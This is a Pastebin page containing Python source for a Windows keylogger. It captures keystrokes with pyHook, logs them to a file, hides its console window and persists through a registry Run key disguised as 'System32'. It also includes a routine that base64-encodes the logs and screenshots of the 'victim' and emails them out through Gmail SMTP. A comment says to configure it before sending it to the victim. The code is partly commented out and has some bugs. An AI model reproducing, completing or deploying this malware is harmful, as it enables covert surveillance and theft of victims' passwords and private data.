Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import win32api, pythoncom
- import pyHook, os, time, random, smtplib, string, base64
- from winreg import *
- global t,start_time,pics_names,yourgmail,yourgmailpass,sendto,interval
- global lastWindow, lastTime, flag
- t=""
- pics_names=[]
- lastWindow = 'start'
- flag = True
- #Note: You have to edit this part from sending the keylogger to the victim
- #########Settings########
- # yourgmail= #What is your gmail?
- # yourgmailpass= #What is your gmail password
- # sendto #Where should I send the logs to? (any email address)
- # interval=300 #Time to wait before sending data to email (in seconds)
- ########################
- try:
- f = open('Logfile.txt', 'a')
- f.close()
- except:
- f = open('Logfile.txt', 'w')
- f.close()
- def addStartup(): # this will add the file to the startup registry key
- fp = os.path.dirname(os.path.realpath(__file__))
- file_name = sys.argv[0].split('\\')[-1]
- new_file_path = fp + '\\' + file_name
- keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
- key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
- SetValueEx(key2change, 'System32', 0, REG_SZ,
- new_file_path)
- def Hide():
- import win32console
- import win32gui
- win = win32console.GetConsoleWindow()
- win32gui.ShowWindow(win, 0)
- #addStartup()
- Hide()
- def Mail_it(data, pics_names):
- data = base64.b64encode(data)
- data = 'New data from victim(Base64 encoded)\n' + data
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.starttls()
- server.login(yourgmail, yourgmailpass)
- server.sendmail(yourgmail, sendto, data)
- server.close()
- for pic in pics_names:
- data = base64.b64encode(open(pic, 'r+').read())
- data = 'New pic data from victim(Base64 encoded)\n' + data
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.starttls()
- server.login(yourgmail, yourgmailpass)
- server.sendmail(yourgmail, sendto, msg.as_string())
- server.close()
- def OnKeyboardEvent(event):
- # global yourgmail, yourgmailpass, sendto, interval
- global lastWindow, lastTime, t, flag
- data = t
- # if lastWindow != event.WindowName:
- # data = '\n WINDOW: [ ' + str(event.WindowName) + ' ] \n'
- # lastWindow = event.WindowName
- # f = open('Logfile.txt', 'a')
- # f.write(data)
- # f.close()
- # t = ''
- if str(event.Key) == 'Space':
- data += '\n'
- f = open('Logfile.txt', 'a')
- f.write(data)
- f.close()
- t = ''
- elif str(event.Key) == 'Return':
- data += '\n [ENTER] \n'
- f = open('Logfile.txt', 'a')
- f.write(data)
- f.close()
- t = ''
- else:
- data += str(event.Key)
- t = data
- # data = '\n[' + str(time.ctime().split(' ')[3]) + ']' + ' WindowName : ' + str(event.WindowName)
- # data += '\n\tKeyboard key :' + str(event.Key) + '\n\n'
- # global start_time
- # print(data)
- # f = open('Logfile.txt', 'a')
- # f.write(t)
- # f.close()
- # t = ''
- # if int(time.time() - start_time) == int(interval):
- # Mail_it(t, pics_names)
- # t = ''
- return True
- hook = pyHook.HookManager()
- hook.KeyDown = OnKeyboardEvent
- hook.HookKeyboard()
- #start_time = time.time()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement